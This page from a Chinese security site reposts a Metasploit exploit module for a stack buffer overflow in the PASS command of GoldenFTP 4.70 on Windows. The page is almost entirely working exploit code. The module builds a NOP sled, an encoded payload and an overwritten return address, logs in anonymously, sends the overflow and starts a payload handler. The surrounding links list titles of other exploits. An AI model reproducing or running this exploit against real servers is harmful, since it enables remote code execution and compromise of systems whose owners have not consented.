首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
GoldenFTP 4.70 PASS Stack Buffer Overflow
来源:http://www.metasploit.com 作者:bannedit 发布时间:2011-06-03  

#
# $Id: goldenftp_pass_bof.rb 12812 2011-06-02 01:10:22Z bannedit $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::Ftp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'GoldenFTP PASS Stack Buffer Overflow',
   'Description'    => %q{
     This module exploits a vulnerability in the Golden
    FTP service. This module uses the PASS command to trigger the overflow.
   },
   'Author'         => [ 'bannedit' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 12812 $',
   'References'     =>
    [
     [ 'BID', '45957 '],
     [ 'URL', 'http://www.exploit-db.com/exploits/16036/'],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'seh',
    },
   'Privileged'     => false,
   'Payload'        =>
    {
     'Space'    => 350,
     'BadChars' => "\x00\x0a\x0d",
    },
   'Platform'       => ['win'],
   'Targets'        =>
    [
     [
      'Golden FTP 4.70 Universal', # Tested OK - bannedit 05/31/2011
      {
       'Platform' => 'win',
       'Ret'      => 0x00a93ca6,
      },
     ]

    ],
   'DisclosureDate' => 'Jan 23 2011'))
 end
 
 def check
  connect
  disconnect
  print_status("FTP Banner: #{banner}".strip)
  if banner =~ /Golden FTP Server ready v(4\.\d{2})/ and $1 == "4.70"
   return Exploit::CheckCode::Appears
  else
   return Exploit::CheckCode::Safe
  end
 end

 def exploit
  if datastore['RHOST'].length < 15
   pad = make_nops(1) * (15 - datastore['RHOST'].length)
  end
  
  sploit = make_nops(4) * 38
  sploit << payload.encoded
  sploit << pad
  sploit << make_nops(1) * (528 - sploit.length)
  sploit << [target.ret].pack('V')

  print_status("Connecting to #{datastore['RHOST']}:#{datastore['RPORT']}")
  begin
   connect
   send_user("anonymous")
   send_cmd(['PASS', sploit], false)
   handler
  rescue EOFError
  end
 end
end


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·MODACOM URoad-5000 v1450 Remot
·Audio Converter 8.1 (.pls) Sta
·Easy~Ftp Server v1.7.0.2 Post-
·FLVPlayer4Free v2.9 (.fp4f) St
·Easy RM to MP3 Converter (2.7.
·Discuz! X1-1.5 notify_credit.p
·9959网店系统 v5.0 Blind SQL in
·This PoC For Local buffer Bifr
·discuz! X1.5 Get Shell 叉day[A
·iPhone 3g/3gs (safari browser)
·Xitami Web Server 2.5b4 Remote
·Easy Ftp Server v1.7.0.2 Post-
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved